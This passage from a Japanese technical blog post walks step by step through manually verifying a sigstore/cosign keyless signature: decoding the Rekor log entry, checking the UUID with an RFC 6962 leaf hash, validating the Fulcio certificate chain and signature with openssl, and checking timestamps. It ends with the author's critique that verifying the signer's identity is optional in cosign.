        "checkpoint": "rekor.sigstore.dev - 2605736670972794746\n580960\nUtyGCosQlaXukz3rYq7U6d9ojA+6EDoxq5rLBPJFyCg=\nTimestamp: 1665306148019547985\n\n— rekor.sigstore.dev wNI9ajBGAiEApH3XjXMVXwKuDnniLusbKrZAu2BI2peoc7i7YEULbkgCIQCSiC5+7y2jHhWeVirWsE/hbIp5xsm03cdjnruKXEuRfg==\n",
        "hashes": [
          "cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85",
          "afec120963813d296b5820c20f899600540788dff18dc924f4dd557e04bdde45",
          "608be1e81cb15ac09f18eec8bbe0b37dd26fac8dab63883930a52e072459febd",
          "78049d975ede977b9e88b2d634edcedfb81f29b4e03dee144e30a52588cfba61",
          "3ea8b7e6f1db53f92f5079b9d08adc2edeb1be59d3f98b4f3c64c42e3c5669f8",
          "b2c166358bb5b4463aa261b199eb24678427c3dc59fe6fc2366bebf4d9b47bdd",
          "32004cfb7313c04b7ba472f660d4be9d5b0833014d53db150e1f77dc8159cdca",
          "b09bd5323de0eb0c83886b9127f091b712b555e3c67bcea80b5cc3f82b45c32a",
          "f131d698d15761bd3c227905af6e32058f27c5be8abf982ab97e46a5270c0340",
          "7799f078ae51c03583b31b0d6db843451d215f39b2d1adc14fc27abf4d18de98",
          "1d5eef2fc091b35fa481948f99fd66fcad99ac6ec8935073e093b9bbc238ed59",
          "26e30b1796943964266f3d0ebe8bb07fb2c4643b4b484aa491e2fd0141b2719b",
          "19714fb6b7db3e6f6d2036fac7667e78b7faf36b3a6dcddac6d04085df49fd06",
          "dbf30f96aa4c47533bb57d4bb3e9c8d5dc52c36a66fe3691968bbb858cdb9435",
          "e4560d2e44c7afdfafb28772f57fc932ab0c7fe5fee196bdd569f895e4227f61"
        ],
        "logIndex": 580670,
        "rootHash": "52dc860a8b1095a5ee933deb62aed4e9df688c0fba103a31ab9acb04f245c828",
        "treeSize": 580960
      },
      "signedEntryTimestamp": "MEYCIQDhTk9NsobNVL1+u+swgGI/D+PQpoHds6j5twmCKBfSXgIhAJ6E17YBXb3ZXcWEq7GU3Wfsl6Z/gt71poSWe8E2nrvw"
    }
  }
}

このレスポンスはあとで繰り返し使うので一旦ファイル( tlog.json )に書き出します。

$ curl https://rekor.sigstore.dev/api/v1/log/entries/24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c | jq . > tlog.json

body の部分はBase64エンコードされていますが、デコードすると中に証明書や署名が含まれています。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].body' tlog.json | base64 -d | jq .
{
  "apiVersion": "0.0.1",
  "kind": "hashedrekord",
  "spec": {
    "data": {
      "hash": {
        "algorithm": "sha256",
        "value": "6939bd1fb4cf1e810eafccbf8c699277caae73644ca59db1b08dda44f5587f05"
      }
    },
    "signature": {
      "content": "MEYCIQCiYvjspp95Xf3ZgqI503q7eUFsN7fuQKSwW4W0tqtTDAIhAPBPPI8HdDji0S59SNQGVeuFn7BhA964Q3Z/zzt9wIBh",
      "publicKey": {
        "content": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNvVENDQWllZ0F3SUJBZ0lVRzI2QWEwaStMUUp3T0FVQ2pYbXM4eG1sWE5rd0NnWUlLb1pJemowRUF3TXcKTnpFVk1CTUdBMVVFQ2hNTWMybG5jM1J2Y21VdVpHVjJNUjR3SEFZRFZRUURFeFZ6YVdkemRHOXlaUzFwYm5SbApjbTFsWkdsaGRHVXdIaGNOTWpJeE1EQTVNRGcxTlRFeldoY05Nakl4TURBNU1Ea3dOVEV6V2pBQU1Ga3dFd1lICktvWkl6ajBDQVFZSUtvWkl6ajBEQVFjRFFnQUVrMEJtajFBbzN6Q0pmdWVGd2wxbDV4bHZ3a092eTdNWU9BNmEKb1FGaE1laEgvdVBJeTFBZ0IyL1JvUXRWU1lDTXppVkJPRXdIYkpXK2RZdUhVTjVrNzZPQ0FVWXdnZ0ZDTUE0RwpBMVVkRHdFQi93UUVBd0lIZ0RBVEJnTlZIU1VFRERBS0JnZ3JCZ0VGQlFjREF6QWRCZ05WSFE0RUZnUVV4a2hkCmRIaGhTM3JRbjJrYWhpUFhnYWl1YUg4d0h3WURWUjBqQkJnd0ZvQVUzOVBwejFZa0VaYjVxTmpwS0ZXaXhpNFkKWkQ4d0lBWURWUjBSQVFIL0JCWXdGSUVTYTI1eGVXWXlOak5BWjIxaGFXd3VZMjl0TUN3R0Npc0dBUVFCZzc4dwpBUUVFSG1oMGRIQnpPaTh2WjJsMGFIVmlMbU52YlM5c2IyZHBiaTl2WVhWMGFEQ0JpZ1lLS3dZQkJBSFdlUUlFCkFnUjhCSG9BZUFCMkFBaGdrdkFvVXY5b1JkSFJheWVFbkVWbkdLd1dQY000MG0zbXZDSUdObTl5QUFBQmc3djAKbXNJQUFBUURBRWN3UlFJZ0phS2ZrU3pHeVJzMGg3MHU2UWRUUnlJNU9BVmo0UzNFaFJqZEFFTUFMYjRDSVFDcApqVHdtdU52eS9ORGI4cURaSTlEdUxQUGdXZlFrNGNRME8yYlp0bDM0UkRBS0JnZ3Foa2pPUFFRREF3Tm9BREJsCkFqRUF4bFlFcktmMnNEVGRPYzNyakFVWEpJTnFaeGprMmhPUzRNVEk2dE5OUnpyeUJDK0FJbU1vNnJBbE14d20KZ01WeUFqQjh2Mk5ndHUzdjgzVDBJaytBQVJXZ3pKUWNUdXF3ajlwN2xkR3VTa2w0M0hUOUtVSmZhSXZKMjRlQwp6VWo4ZVdVPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="
      }
    }
  }
}

これはHashed rekordと呼ばれるフォーマットで、以下に記載があります。Rekorなのでrecordじゃなくてrekordです。

github.com

Hashed rekorには署名対象のデータ(今回は test.txt )のSHA256のハッシュ値と証明書や署名が含まれています。これを使って署名検証します。後で手動でやってみるので、このbodyをBase64デコードしたものもファイル( body.json )に書き出しておきます。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].body' tlog.json | base64 -d | jq . > body.json

UUIDの検証

”UUIDの検証”が何を意味するかは上の概要からだと理解が難しかったと思います。以下で具体的に手動でやってみますが、先に図を載せておきます。body を特定の方法でハッシュ化した値がUUIDと一致することを確認します。

Rekorのレスポンスは 24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c がkeyとなりvaluebody などが入っていました。このkeyがEntry IDで、このEntry IDはTree IDとUUIDで構成されています。

Entry ID (80 bytes) = Tree ID (16 bytes) + UUID (64 bytes)

以前はEntry ID = UUIDになっていたのですが、少し前からTree IDが付与されるようになりました。その結果、古くに登録したtlogのIDは64バイトで新しく登録されたtlogのIDは80バイトになって混在しています。上で rekor-cli search を実行したときに長さの異なるIDが返ってきていたのはこのためです。

余談ですがこれが原因で破壊的変更が起こり、古いRekorクライアントが動かなくなりました。かなりバッサリといかれ、自分の開発しているOSSも突然全く動かなくなるなど影響がありました。Rekorのパブリックインスタンス (rekor.sigstore.dev) を使っていると突然動かなくなる事が多いので注意が必要です。

Entry IDからUUIDを取り出すのは後半64バイトを抜き出すだけなので簡単です。

cosign/tlog.go at b3b6ae25362dc2c92c78abf2370ba0342ee86b2f · sigstore/cosign · GitHub

ここではcutで取り出します。

$ echo -n "24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c" | cut -b 16-
aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c

この aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c がUUIDになります。これがbodyをBase64デコードしたもののハッシュ値と一致するかを検証します。

これらの処理は以下の verifyUUID で行われています。

cosign/tlog.go at b3b6ae25362dc2c92c78abf2370ba0342ee86b2f · sigstore/cosign · GitHub

先程保存しておいた tlog.json からbodyを取り出してハッシュ値を計算します。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].body' tlog.json | base64 -d | sha256sum
90a6edfecb0b4da9581116d557df8ef803b57372dce3e11267ea9941f798ea07  -

しかし残念なことに値が異なります。上は aa55d から始まっていたのにこっちは 90a6ed で始まっています。

実はbodyを単にハッシュするだけではダメで、RFC 6962 (Certificate Transparency) のリーフのハッシュ計算方法に従う必要があります。細かい話は次の記事でTrillianについて説明するときに解説します。

datatracker.ietf.org

今のところはリーフのハッシュ値は先頭に 0x00 を入れる、ノードの場合は先頭に 0x01 を入れるということだけ知っておけばOKです。今回はリーフなので先頭に 0x00 を入れます。

以下で実装されています。

merkle/rfc6962.go at a76aeeada49756638c9176af8d3626faff7ccf3b · transparency-dev/merkle · GitHub

今回は適当にechoで入れます。

$ (echo -ne "\x00"; cat body.json) | sha256sum
aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c

ということでめでたく先程のUUIDと一致しました。

ただUUIDの検証を何故クライアントでやらなくてはいけないのかは正直不明です。自分にはRekorがサーバ側で担保するべきものに見え、クライアントで何のために検証するのかはよく分かっていないです。データ改ざんの場合はUUIDも改ざんされそうですし(それは実はTrillian側で検証可能だがここでは説明しません)、Rekorが壊れてデータに不整合が起きたときのため...?うーむ。

tlog内の証明書を取り出して検証する

証明書および含まれる公開鍵が正しく発行されたものであることを検証します。

先程の body.json から証明書( spec.signature.publicKey )を取り出します。Base64エンコードされているのでデコードもしてファイル( cert.pem )に書き出します。

$ jq -r .spec.signature.publicKey.content body.json | base64 -d > cert.pem

中を見てみます。

$ openssl x509 -in cert.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            1b:6e:80:6b:48:be:2d:02:70:38:05:02:8d:79:ac:f3:19:a5:5c:d9
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: O = sigstore.dev, CN = sigstore-intermediate
        Validity
            Not Before: Oct  9 08:55:13 2022 GMT
            Not After : Oct  9 09:05:13 2022 GMT
        Subject:
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:93:40:66:8f:50:28:df:30:89:7e:e7:85:c2:5d:
                    65:e7:19:6f:c2:43:af:cb:b3:18:38:0e:9a:a1:01:
                    61:31:e8:47:fe:e3:c8:cb:50:20:07:6f:d1:a1:0b:
                    55:49:80:8c:ce:25:41:38:4c:07:6c:95:be:75:8b:
                    87:50:de:64:ef
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                Code Signing
            X509v3 Subject Key Identifier:
                C6:48:5D:74:78:61:4B:7A:D0:9F:69:1A:86:23:D7:81:A8:AE:68:7F
            X509v3 Authority Key Identifier:
                DF:D3:E9:CF:56:24:11:96:F9:A8:D8:E9:28:55:A2:C6:2E:18:64:3F
            X509v3 Subject Alternative Name: critical
                email:knqyf263@gmail.com
            1.3.6.1.4.1.57264.1.1:
                https://github.com/login/oauth
            CT Precertificate SCTs:
                Signed Certificate Timestamp:
                    Version   : v1 (0x0)
                    Log ID    : 08:60:92:F0:28:52:FF:68:45:D1:D1:6B:27:84:9C:45:
                                67:18:AC:16:3D:C3:38:D2:6D:E6:BC:22:06:36:6F:72
                    Timestamp : Oct  9 08:55:13.346 2022 GMT
                    Extensions: none
                    Signature : ecdsa-with-SHA256
                                30:45:02:20:25:A2:9F:91:2C:C6:C9:1B:34:87:BD:2E:
                                E9:07:53:47:22:39:38:05:63:E1:2D:C4:85:18:DD:00:
                                43:00:2D:BE:02:21:00:A9:8D:3C:26:B8:DB:F2:FC:D0:
                                DB:F2:A0:D9:23:D0:EE:2C:F3:E0:59:F4:24:E1:C4:34:
                                3B:66:D9:B6:5D:F8:44
    Signature Algorithm: ecdsa-with-SHA384
    Signature Value:
        30:65:02:31:00:c6:56:04:ac:a7:f6:b0:34:dd:39:cd:eb:8c:
        05:17:24:83:6a:67:18:e4:da:13:92:e0:c4:c8:ea:d3:4d:47:
        3a:f2:04:2f:80:22:63:28:ea:b0:25:33:1c:26:80:c5:72:02:
        30:7c:bf:63:60:b6:ed:ef:f3:74:f4:22:4f:80:01:15:a0:cc:
        94:1c:4e:ea:b0:8f:da:7b:95:d1:ae:4a:49:78:dc:74:fd:29:
        42:5f:68:8b:c9:db:87:82:cd:48:fc:79:65

確かに自分のメールアドレスが含まれています。

証明書チェーンの検証

この証明書は前回確かめたように自己署名証明書でもアップロード可能です。つまりクライアント側でFulcioの証明書チェーンを確認する必要があります。

Fulcioのルート証明書と中間証明書は先ほど落としたものを使います。証明書の有効期限は切れているので -no_check_time を指定しています。

$ openssl verify -verbose -no_check_time -CAfile fulcio_v1.crt.pem -untrusted fulcio_intermediate_v1.crt.pem cert.pem
cert.pem: OK

ちなみにLibreSSLだと no_check_time を指定しなくても有効期限が切れている旨を表示した上で検証には成功します。

$ openssl version
LibreSSL 2.8.3
$ openssl verify -CAfile fulcio_v1.crt.pem -untrusted fulcio_intermediate_v1.crt.pem cert.pem
cert.pem:
error 10 at 0 depth lookup:certificate has expired
OK

ということでこの証明書がFulcioで発行されたものであることがわかりました。

メールアドレスやワークフロー情報の検証

これは先程opensslコマンドで確認したので今回は目視で良しとします。実際にはプログラムで一致することを確かめてください。OpenID ConnectのIDトークンによってX.509拡張には正しい値が含まれていることが保証されています。かつFulcioで発行された証明書であることも上で確認済みなので、悪意ある人がX.509拡張に好きな値を入れて証明書を作ることも出来ません。

ただ後述しますが、ここの検証はCosignではoptionalなCLIフラグになっています。そのためほとんどの人が多分指定しないですし紹介ブログなどでも指定されていません。個人的にはこれは致命的な問題だと思っています。

SCTの検証

Fulcioが仮に侵害されて不正な証明書が発行された場合でも、Certificate Transparency (CT) Logによって誰でも証明書の発行記録を監査可能です。侵害された場合はCTサーバに登録せずに証明書を発行される恐れもあるため、CTサーバに登録されたときに発行されるSigned Certificate Timestamp (SCT)を検証する必要がありますが、これは前回の記事で嫌というほどやったので省略します。

証明書の発行がCTサーバにログとして正しく登録されているということを保証するための検証です。

渡された署名を検証する

これはソフトウェア署名の根幹の部分です。配布されているソフトウェアが改ざんされたり差し替えられたときに検知できるようにするためのものです。

--signature test.txt.sig で渡された署名を検証します。公開鍵は上で検証した証明書に含まれているので取り出します。

$ openssl x509 -in cert.pem -pubkey -noout > pub.pem

あとはいつも通り検証するだけです。ただ test.txt.sigBase64エンコードされているのでデコードが必要です。

$ openssl dgst -sha256 -verify pub.pem --signature <(base64 -d test.txt.sig) test.txt
Verified OK

ということで署名の検証は完了です。ただこれで終わりではなくtlogの検証が必要です。

tlogの検証を行う

上でtlog内に含まれる証明書を使って署名検証を行いましたが、そもそもtlogは信頼できるのかということを確かめるための検証です。例えばRekorが侵害されてtlogを改ざんされた場合などへの対策になります。

root hash/inclusion proofの検証

Merkle Treeを知っている人はある程度予想のつく内容だと思いますが、Rekorで使われているTrillianの内部に大きく関係するので次の記事で説明します。ここでは割愛します。

SETの検証

SETの検証についても前回のRekor編で細かくやったので省略します。tlogが正しくRekorに登録されていることを保証するための検証です。

tlogの登録時刻が証明書の有効期限内であったことを確認

Rekorのレスポンス内に integratedTime が含まれているので、その値を証明書の有効期限と比較します。tlogの登録時刻が証明書の有効期限内であればOKです。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].integratedTime' tlog.json
1665305714

今回だと1665305714です。先程 openssl verify で証明書チェーンの確認をした際には -no_check_time で有効期限の検証をスキップしましたが、 -attime というCLIフラグで特定の時刻における有効性を確認できるようなのでこちらを使ってみます。

$ openssl verify -verbose -attime 1665305714 -CAfile fulcio_v1.crt.pem -untrusted fulcio_intermediate_v1.crt.pem cert.pem
cert.pem: OK

確かにtlogが登録された時刻において証明書は有効だったことがわかりました。証明書が仮に盗まれて不正な署名を作られたとしても、証明書はデフォルトでは10分しか有効期限がないためそれ以降に登録された署名を含むtlogは弾くことができます。ざっくり言えば証明書が作られてすぐにRekorに登録されたtlogならOKということです。

所感

以上で署名検証は終わりです。ここからはKeyless Signingに対する個人の感想です。

ユーザの負担

鍵の管理が不要になるのはソフトウェアメンテナにとっては間違いなく嬉しいですが、検証する側の負担は依然として高い気がしています。検証時に信頼する公開鍵を取得する必要はなくなりましたが、信頼する署名者の情報はどこからか得る必要があります。例えばこのソフトウェアの署名としてこのメールアドレスは信頼できる、などです。実際にはCI/CDなどでビルドすることが多いと思うのでメールアドレスではなくワークフローの情報が記録されることになると思いますが、いずれにせよ署名した人間・ワークフローのallowlistがソフトウェアごとに必要になります。ここは結局利用者の負担が大きいままであると感じています。

また、署名も今は利用者がどうにかどこかから取得する必要があります。以前は --signature フラグは不要でtlog内のものを使うようになっていたのですが、攻撃者が同じファイルに対する署名としてtlogを作っておくとCosignは作成日時の新しいtlogを取ってくるようになっていたので検証を失敗させることができました。これについては以前指摘したのですが、そのリスクは許容しますと言われ、のちにしれっと --signature が必須になっていました。

セキュリティ上の懸念

上述した署名者のアイデンティティの配布・管理はかなり重要だと思うのですが、この部分について語られていることは少ないです。何なら世の中のブログはどの署名者が信頼できるのかの検証を行わずに終えているものが多く、攻撃者が正当な手順を踏んで署名した場合でも通ってしまい巨大なセキュリティホールを生み出しているように見えます。例えば attacker@example.com のメールアドレスを持つ攻撃者が通常のKeyless Signingのフロー通りFulcioで証明書を発行し、署名をRekorに登録した場合にはtlog検証や署名検証は通ってしまいます。このような攻撃を弾けるのは以下のステップだけだと理解しています。

メールアドレスやワークフロー情報の検証

しかしこれは上述したようにoptionalですし指定されているケースを現時点では殆ど見かけていません。

そしてsigstoreもKeyless Signingで全てがハッピーになるように宣伝しており、面倒だけど重要な部分の啓蒙が不足しています。もちろん鍵の管理が不要になるのは素晴らしいことですし気軽に署名が行われるようになればソフトウェアサプライチェーンに間違いなく貢献すると思うのですが、sigstoreのやり方がSecure By Designじゃない感じがあって正直思想に共感できていない部分が多いです。

まとめ

最初Keyless Signingにおける cosign verify-blob の流れを見たときはやることの多さに少し驚いたかもしれませんが、一つ一つを見ていくと意外と大したことなかったと感じた人が多いかと思います。ここまで署名時の要素技術を一つずつ細かく見てきたので、検証はその逆をするだけですしすんなり入ってきたはずです(そうであって欲しい)。どのステップが何からの攻撃を防いでいるのか、というところまで考えると大変ですし自分もまだ理解しきれていないところがありますが、大枠を理解するには今回の内容で十分ではないかと思います。